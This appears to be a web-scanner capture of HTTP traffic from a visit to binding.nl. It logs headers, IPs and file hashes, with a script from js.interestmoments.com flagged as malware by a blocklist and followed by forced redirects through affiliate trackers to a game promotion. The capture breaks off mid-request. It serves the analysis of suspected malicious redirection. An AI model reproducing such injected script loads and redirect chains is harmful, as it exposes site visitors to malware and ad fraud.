*.fbcdn.net *.fbsbx.com www.facebook.com *.facebook.com https://*.giphy.com data:;frame-src *.doubleclick.net *.google.com *.facebook.com www.googleadservices.com *.fbsbx.com fbsbx.com data: www.instagram.com *.fbcdn.net https://paywithmybank.com;worker-src blob: *.facebook.com data:;block-all-mixed-content;upgrade-insecure-requests;
x-fb-rlafr: 0
document-policy: force-load-at-top
cross-origin-opener-policy: unsafe-none
pragma: no-cache
cache-control: private, no-cache, no-store, must-revalidate
expires: Sat, 01 Jan 2000 00:00:00 GMT
x-content-type-options: nosniff
x-xss-protection: 0
facebook-api-version: v9.0
strict-transport-security: max-age=15552000; preload
x-fb-debug: smSHVIvr9yj9DPOwRT+rOs2Zxb0jVyFIdaPDxrWtaJ/qkxr4IL07bh5gWNQSKWZ+nQCh7pDKfF++g3hJzcQIww==
content-length: 0
date: Mon, 28 Nov 2022 06:50:50 GMT
alt-svc: h3=":443"; ma=86400
X-Firefox-Spdy: h2

                                        
                                            GET /sessions/394129?s=0.25&r=0.02223452729870401 HTTP/1.1 
Host: vc.hotjar.io
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: https://www.binding.nl
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

search
                                         54.230.111.91
HTTP/2 204 No Content
                                        
access-control-allow-origin: *
cache-control: no-store
date: Mon, 28 Nov 2022 06:50:50 GMT
server: Python/3.7 aiohttp/3.5.4
x-cache: Miss from cloudfront
via: 1.1 15d199af49035dc206cb81292fd87de2.cloudfront.net (CloudFront)
x-amz-cf-pop: OSL50-P1
x-amz-cf-id: _O7Ny6gzhdDV2IZJ7JjUKSTfwWcJuZJAsxnsf5GiyjUp5d6ZHiUJKA==
X-Firefox-Spdy: h2

                                        
                                            POST / HTTP/1.1 
Host: ocsp.sca1b.amazontrust.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 83
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         143.204.42.165
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Content-Length: 471
Connection: keep-alive
Accept-Ranges: bytes
Cache-Control: max-age=121009
Date: Mon, 28 Nov 2022 06:50:50 GMT
Etag: "6383815e-1d7"
Expires: Tue, 29 Nov 2022 16:27:39 GMT
Last-Modified: Sun, 27 Nov 2022 15:25:18 GMT
Server: ECS (nyb/1D0D)
X-Cache: Miss from cloudfront
Via: 1.1 dac7cf040932e0c072eeed10afdd7b3e.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: OSL50-C1
X-Amz-Cf-Id: HIlTrKB44v7M4ibbR7ExShd62Lf1UaTFS0_4HYO2b9G9WJnPWPCmzA==
Age: 3741

                                        
                                            GET /js/horizon_timeline.5b32f06df3f1186af2ebf11024b09726.js HTTP/1.1 
Host: platform.twitter.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

search
                                         93.184.220.66
HTTP/1.1 200 OK
Content-Type: application/javascript; charset=utf-8
                                        
Content-Encoding: gzip
Access-Control-Allow-Methods: GET
Access-Control-Allow-Origin: *
Age: 2190597
Cache-Control: public, max-age=315360000
Date: Mon, 28 Nov 2022 06:50:50 GMT
Etag: "be517337a860b30e72096680d8dde0eb+gzip"
Last-Modified: Wed, 02 Nov 2022 19:36:52 GMT
P3P: CP="CAO DSP LAW CURa ADMa DEVa TAIa PSAa PSDa IVAa IVDa OUR BUS IND UNI COM NAV INT"
Server: ECS (ska/F71C)
Server-Timing: x-cache;desc= HIT,x-tw-cdn;desc=VZ,edge;dur=1
Vary: Accept-Encoding
X-Cache: HIT
x-tw-cdn: VZ
Content-Length: 2977


--- Additional Info ---
Magic:  Unicode text, UTF-8 text, with very long lines (8274), with no line terminators
Size:   2977
Md5:    9dcf6c8cba8fe3e8cb99b94ee63af2d5
Sha1:   ec132eb470954fdf2ff629d8344942b47ce4a5d1
Sha256: 2783e866faf68e4f6bc1775136ac1fa7b05d4adc7522f350763eb09a0e91b80d
                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         23.36.77.32
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "B3BDA5A0DDC8ABD8DD3C786A3592636A64DE123B4D24E116CEAB70BD31E9F582"
Last-Modified: Sun, 27 Nov 2022 23:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=20348
Expires: Mon, 28 Nov 2022 12:29:58 GMT
Date: Mon, 28 Nov 2022 06:50:50 GMT
Connection: keep-alive

                                        
                                            GET /i/jot/embeds?l=%7B%22experiment_key%22%3A%22tfw_horizon_timeline_12034%22%2C%22bucket%22%3A%22treatment%22%2C%22version%22%3Anull%2C%22data%22%3A%7B%7D%2C%22context%22%3A%22rufous-eol%22%2C%22_category_%22%3A%22tfw_client_event%22%2C%22triggered_on%22%3A1669618250022%2C%22dnt%22%3Afalse%2C%22client_version%22%3A%22a3525f077c700%3A1667415560940%22%2C%22format_version%22%3A1%2C%22widget_origin%22%3A%22%22%2C%22event_namespace%22%3A%7B%22client%22%3A%22tfw%22%2C%22page%22%3A%22ddg%22%2C%22section%22%3A%22tfw_horizon_timeline_12034%22%2C%22action%22%3A%22experiment%22%7D%7D&session_id=98b4b9a0a5a718b585b675292b847351e8c2bd57 HTTP/1.1 
Host: syndication.twitter.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         104.244.42.8
HTTP/2 200 OK
content-type: image/gif
                                        
date: Mon, 28 Nov 2022 06:50:50 GMT
perf: 7626143928
vary: Origin
server: tsa_o
cache-control: must-revalidate, max-age=600
last-modified: Mon, 28 Nov 2022 06:50:50 GMT
content-length: 43
x-transaction-id: 59411db707fce788
strict-transport-security: max-age=631138519
x-response-time: 107
x-connection-hash: 0f3506dea51d02d2fd466092eeb1aeb9e4f38bcbd30a0448f8d05da872bad403
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  GIF image data, version 89a, 1 x 1\012- data
Size:   43
Md5:    377d257f2d2e294916143c069141c1c5
Sha1:   b7cae69682cf31dd670b65088db8395acda6ed3e
Sha256: ac8778041fdb7f2e08ceb574c9a766247ea26f1a7d90fa854c4efcf4b361a957
                                        
                                            GET /scripts/count.js HTTP/1.1 
Host: js.interestmoments.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

search
                                         193.169.194.63
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Server: nginx
Date: Mon, 28 Nov 2022 06:50:50 GMT
Last-Modified: Fri, 25 Nov 2022 05:06:18 GMT
Transfer-Encoding: chunked
Connection: keep-alive
ETag: W/"63804d4a-11eb"
Expires: Thu, 08 Dec 2022 06:50:50 GMT
Cache-Control: max-age=864000
Access-Control-Allow-Origin: *
Content-Encoding: gzip


--- Additional Info ---
Magic:  ASCII text, with very long lines (4587), with no line terminators
Size:   1693
Md5:    604404f904668bba5c2412748523a5b2
Sha1:   fb364d5fdabc9781a35d270f72502c3329bd7e43
Sha256: cf4051550888255f110d596d59a1ecf8c5c961c32322d844604c6affc2f6f9fe

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            GET /api/v2/client/ws HTTP/1.1 
Host: ws12.hotjar.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Sec-WebSocket-Version: 13
Origin: https://www.binding.nl
Sec-WebSocket-Extensions: permessage-deflate
Sec-WebSocket-Key: IBVXyOYx/9y1ubxsqX0q5g==
Connection: keep-alive, Upgrade
Sec-Fetch-Dest: websocket
Sec-Fetch-Mode: websocket
Sec-Fetch-Site: cross-site
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket

search
                                         54.246.158.158
HTTP/1.1 101 Switching Protocols
Content-Type: application/octet-stream
                                        
Date: Mon, 28 Nov 2022 06:50:50 GMT
Connection: upgrade
Upgrade: websocket
Sec-WebSocket-Accept: lENXubKwi7XHezt7qQBxXnZsh9k=
Sec-WebSocket-Extensions: permessage-deflate

                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         23.36.77.32
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "9AC9AFEA104B148AB2424AE7BFF7F2D62BBBEA3BF35FD4E3A0A72E3350424362"
Last-Modified: Sun, 27 Nov 2022 23:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=5759
Expires: Mon, 28 Nov 2022 08:26:51 GMT
Date: Mon, 28 Nov 2022 06:50:52 GMT
Connection: keep-alive

                                        
                                            GET /go/away.php?id=9689546-75-934597645&pid=2324&lid=7933345&from=google HTTP/1.1 
Host: long.interestmoments.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site

search
                                         193.169.194.63
HTTP/1.1 302 Found
Content-Type: text/html; charset=UTF-8
                                        
Server: nginx
Date: Mon, 28 Nov 2022 06:50:52 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Location: https://long.interestmoments.com/go/away.php?id=987730385-23-683234&pid=7856&lid=07882367658&jid=67852&from=Stancyyy
Access-Control-Allow-Origin: *

                                        
                                            GET /go/away.php?id=987730385-23-683234&pid=7856&lid=07882367658&jid=67852&from=Stancyyy HTTP/1.1 
Host: long.interestmoments.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://www.binding.nl/
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site

search
                                         193.169.194.63
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
                                        
Server: nginx
Date: Mon, 28 Nov 2022 06:50:52 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Access-Control-Allow-Origin: *
Content-Encoding: gzip


--- Additional Info ---
Magic:  HTML document text\012- HTML document text\012- HTML document text\012- HTML document text\012- HTML document text\012- HTML document text\012- exported SGML document text\012- exported SGML document, ASCII text, with CRLF line terminators
Size:   440
Md5:    d282386a919dab7821ecb8af2c2be991
Sha1:   cb29f509dd65f520b4b8d72ee0c2b560a2c360b0
Sha256: 6403ec35140c92ba51786815e1505a33606ae5e76f33d13e5f64ed83ff5c2179
                                        
                                            POST / HTTP/1.1 
Host: ocsp.godaddy.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 75
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         192.124.249.23
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: Sucuri/Cloudproxy
Date: Mon, 28 Nov 2022 06:50:52 GMT
Content-Length: 1777
Connection: keep-alive
X-Sucuri-ID: 19023
Content-Transfer-Encoding: Binary
Cache-Control: public, no-transform, must-revalidate
Last-Modified: Sun, 27 Nov 2022 21:42:46 GMT
Expires: Mon, 28 Nov 2022 21:42:46 GMT
ETag: "ac8eb45129630cbdfd442060768c9cb246d8552c"
P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA"


--- Additional Info ---
Magic:  data
Size:   1777
Md5:    fa923299c257674b1028c3415a04b7c6
Sha1:   ac8eb45129630cbdfd442060768c9cb246d8552c
Sha256: a48ca92b40cbd626057aa4e6332467ae3929e984cad20bcbe90544a5b31d0d2e
                                        
                                            GET /click?pid=1287&offer_id=92&ref_id=jrcldhcg44ou4jv47gjt&sub1=EZ46IGBJ6R HTTP/1.1 
Host: track.wargaming-aff.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site

search
                                         35.204.130.99
HTTP/2 302 Found
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:53 GMT
content-length: 0
location: https://trck.wargaming.net/8q4rzvm7/?t=1&pub_id=1287&xid=63845a4dfaf4350001d75d03&xid_param1=EZ46IGBJ6R&xid_param_2=
x-adjust-use-original-forwarded-for: 1
set-cookie: afclick=63845a4dfaf4350001d75d03; expires=Tue, 28 Nov 2023 06:50:53 GMT; secure; SameSite=None afoffers={"92":1669618253}; expires=Tue, 28 Nov 2023 06:50:53 GMT; secure; SameSite=None
access-control-allow-origin: *
X-Firefox-Spdy: h2

                                        
                                            POST / HTTP/1.1 
Host: ocsp.digicert.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 83
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         93.184.220.29
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Accept-Ranges: bytes
Age: 5252
Cache-Control: 'max-age=158059'
Date: Mon, 28 Nov 2022 06:50:53 GMT
Last-Modified: Mon, 28 Nov 2022 05:23:21 GMT
Server: ECS (ska/F70A)
X-Cache: HIT
Content-Length: 471

                                        
                                            GET /8q4rzvm7/?t=1&pub_id=1287&xid=63845a4dfaf4350001d75d03&xid_param1=EZ46IGBJ6R&xid_param_2= HTTP/1.1 
Host: trck.wargaming.net
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site

search
                                         92.223.23.231
HTTP/1.1 301 Moved Permanently
Content-Type: text/plain; charset=utf-8
                                        
Server: nginx
Date: Mon, 28 Nov 2022 06:50:53 GMT
Content-Length: 22
Connection: keep-alive
Location: https://promo.worldofwarships.eu/glows-34505/eu-no/?t=1&pub_id=1287&xid=63845a4dfaf4350001d75d03&xid_param1=EZ46IGBJ6R&xid_param_2=&sid=SIDRTK-Nfuog-rgI85TN7yX1TVEnC0GXl9J0RA4PV34k9JDAdwaK3JqVlAmH9vWv_v41cY7uihOMuaI2LGfmLmlK1bj6nFeM_NrT4m7uQbJ8BBB437jfLvMJeo82b-zRjwG9vKLEWpOc6gtqw&enctid=conq9wtxdslw&lpsn=WOWS+TMPLT1+CODE+BOOM+global+WITH+BONUS+SUBTITLE&foris=1&teclient=1669618253273838206&utm_source=wlap&utm_medium=affiliate&utm_campaign=8q4rzvm7&utm_content=1287
Set-Cookie: STIDREFERRAL=SIDRTK-Nfuog-rgI85TN7yX1TVEnC0GXl9J0RA4PV34k9JDAdwaK3JqVlAmH9vWv_v41cY7uihOMuaI2LGfmLmlK1bj6nFeM_NrT4m7uQbJ8BBB437jfLvMJeo82b-zRjwG9vKLEWpOc6gtqw; Domain=wargaming.net; Max-Age=2592000; Path=/; SameSite=None; Secure enctid=conq9wtxdslw; Domain=wargaming.net; Max-Age=2592000; Path=/; SameSite=None; Secure teclient=1669618253273838206; Domain=wargaming.net; Max-Age=315360000; Path=/; SameSite=None; Secure
Cache-Control: no-cache


--- Additional Info ---
Magic:  ASCII text, with no line terminators
Size:   22
Md5:    0e0bf67572311f8a23814419ff24ee9a
Sha1:   78328dfc54708433cdfb3e7857e57f87ec443b08
Sha256: c5f6c267ba4a2964fff5d304d4a1e79c371ce30d32eaf017b3bb40becccd58d2
                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         23.36.77.32
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "F27A12834AB728FB462621957538608B978D4719002A962641A52F277659A4D3"
Last-Modified: Sat, 26 Nov 2022 09:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=4575
Expires: Mon, 28 Nov 2022 08:07:08 GMT
Date: Mon, 28 Nov 2022 06:50:53 GMT
Connection: keep-alive

                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         23.36.77.32
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "F27A12834AB728FB462621957538608B978D4719002A962641A52F277659A4D3"
Last-Modified: Sat, 26 Nov 2022 09:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=4575
Expires: Mon, 28 Nov 2022 08:07:08 GMT
Date: Mon, 28 Nov 2022 06:50:53 GMT
Connection: keep-alive

                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         23.36.77.32
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "F27A12834AB728FB462621957538608B978D4719002A962641A52F277659A4D3"
Last-Modified: Sat, 26 Nov 2022 09:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=4575
Expires: Mon, 28 Nov 2022 08:07:08 GMT
Date: Mon, 28 Nov 2022 06:50:53 GMT
Connection: keep-alive

                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         23.36.77.32
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "F27A12834AB728FB462621957538608B978D4719002A962641A52F277659A4D3"
Last-Modified: Sat, 26 Nov 2022 09:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=4575
Expires: Mon, 28 Nov 2022 08:07:08 GMT
Date: Mon, 28 Nov 2022 06:50:53 GMT
Connection: keep-alive

                                        
                                            GET /glows-34505/src/images/wowsl_logo.png HTTP/1.1 
Host: promo-cdn.worldofwarships.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://promo.worldofwarships.eu/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         92.223.97.97
HTTP/2 200 OK
content-type: image/png
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:53 GMT
content-length: 10514
last-modified: Tue, 22 Nov 2022 10:14:28 GMT
etag: "4d9371a87a4f9a0d6a8792e0397aa303"
x-amz-request-id: tx0000000000000001ae8c2-00637ca118-1cf5682d-ed1
access-control-allow-origin: *
cache: HIT
x-cached-since: 2022-11-26T10:15:02+00:00
x-id: sto5-up-gc13
accept-ranges: bytes
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  PNG image data, 749 x 299, 8-bit colormap, non-interlaced\012- data
Size:   10514
Md5:    4d9371a87a4f9a0d6a8792e0397aa303
Sha1:   1308b49f8614f0ab05e81698daf5bfc4a2498bf0
Sha256: 68ddcc9fad945493001c241d8de6fb9acdd436bc82bff503302dbffa64f4f5ed
                                        
                                            GET /glows-34505/src/images/doubloons.png HTTP/1.1 
Host: promo-cdn.worldofwarships.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://promo.worldofwarships.eu/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         92.223.97.97
HTTP/2 200 OK
content-type: image/png
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:53 GMT
content-length: 39260
last-modified: Tue, 22 Nov 2022 10:14:28 GMT
etag: "68091925676a9a77a9740b81acd666fe"
x-amz-request-id: tx0000000000000016b606f-00637ca118-1bfc3e68-ed1
access-control-allow-origin: *
cache: HIT
x-cached-since: 2022-11-26T10:15:02+00:00
x-id: sto5-up-gc10
accept-ranges: bytes
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  PNG image data, 512 x 436, 8-bit colormap, non-interlaced\012- data
Size:   39260
Md5:    68091925676a9a77a9740b81acd666fe
Sha1:   8cada809874a5f8b6993ed3f913a6f72366b4cc5
Sha256: c1a9b019676d7156280d39fda63b5b22a3ab53ea4f870c33dc2596d28b9b6f45
                                        
                                            POST / HTTP/1.1 
Host: ocsp.digicert.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 83
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         93.184.220.29
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Accept-Ranges: bytes
Age: 5252
Cache-Control: 'max-age=158059'
Date: Mon, 28 Nov 2022 06:50:53 GMT
Last-Modified: Mon, 28 Nov 2022 05:23:21 GMT
Server: ECS (ska/F70A)
X-Cache: HIT
Content-Length: 471

                                        
                                            GET /glows-34505/src/images/restless-fire.png HTTP/1.1 
Host: promo-cdn.worldofwarships.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://promo.worldofwarships.eu/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         92.223.97.97
HTTP/2 200 OK
content-type: image/png
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:53 GMT
content-length: 25054
last-modified: Tue, 22 Nov 2022 10:14:28 GMT
etag: "3043f931ada25f81bca06d4f0ea4dbaa"
x-amz-request-id: tx000000000000004c1da16-00637ca118-1c8e9cf0-ed1
access-control-allow-origin: *
cache: HIT
x-cached-since: 2022-11-26T10:15:02+00:00
x-id: sto5-up-gc12
accept-ranges: bytes
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  PNG image data, 512 x 436, 8-bit colormap, non-interlaced\012- data
Size:   25054
Md5:    3043f931ada25f81bca06d4f0ea4dbaa
Sha1:   78f9bdc4a4b037b944687a7ee575793fd531b823
Sha256: b3605f7cd8f58e9f7381a92d0919354d65c77b6793c14714263659a014a815fc
                                        
                                            GET /glows-34505/src/images/footer-logo.png HTTP/1.1 
Host: promo-cdn.worldofwarships.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://promo.worldofwarships.eu/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         92.223.97.97
HTTP/2 200 OK
content-type: image/png
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:53 GMT
content-length: 1939
last-modified: Tue, 22 Nov 2022 10:14:28 GMT
etag: "7ce94cd1324102c254e60ced58661dc3"
x-amz-request-id: tx000000000000004c1da19-00637ca118-1c8e9cf0-ed1
access-control-allow-origin: *
cache: HIT
x-cached-since: 2022-11-26T10:15:02+00:00
x-id: sto5-up-gc11
accept-ranges: bytes
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  PNG image data, 275 x 63, 8-bit colormap, non-interlaced\012- data
Size:   1939
Md5:    7ce94cd1324102c254e60ced58661dc3
Sha1:   b76e3b4e14cf98aa766788bc8cf4fbc97058fec0
Sha256: fdd269a537d61d3fafbef167c6c7e22ae7707217427b506674f5f0d2f3caed48
                                        
                                            GET /glows-34505/src/images/premium-7-days.png HTTP/1.1 
Host: promo-cdn.worldofwarships.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://promo.worldofwarships.eu/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         92.223.97.97
HTTP/2 200 OK
content-type: image/png
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:53 GMT
content-length: 49403
last-modified: Tue, 22 Nov 2022 10:14:28 GMT
etag: "98b09a0cd4166bddf0b0f3697c439740"
x-amz-request-id: tx000000000000000c425ae-00637ca118-1ce993ea-ed1
access-control-allow-origin: *
cache: HIT
x-cached-since: 2022-11-26T10:15:02+00:00
x-id: sto5-up-gc13
accept-ranges: bytes
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  PNG image data, 512 x 436, 8-bit colormap, non-interlaced\012- data
Size:   49403
Md5:    98b09a0cd4166bddf0b0f3697c439740
Sha1:   2519fd7126fb29013a3981d2f4c14a3878bd8c55
Sha256: 9c8625714a90a8398492e86d233216eebd81db8ca311332be90d5c284bac7bbe
                                        
                                            GET /glows-34505/src/images/ship-emden.png HTTP/1.1 
Host: promo-cdn.worldofwarships.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
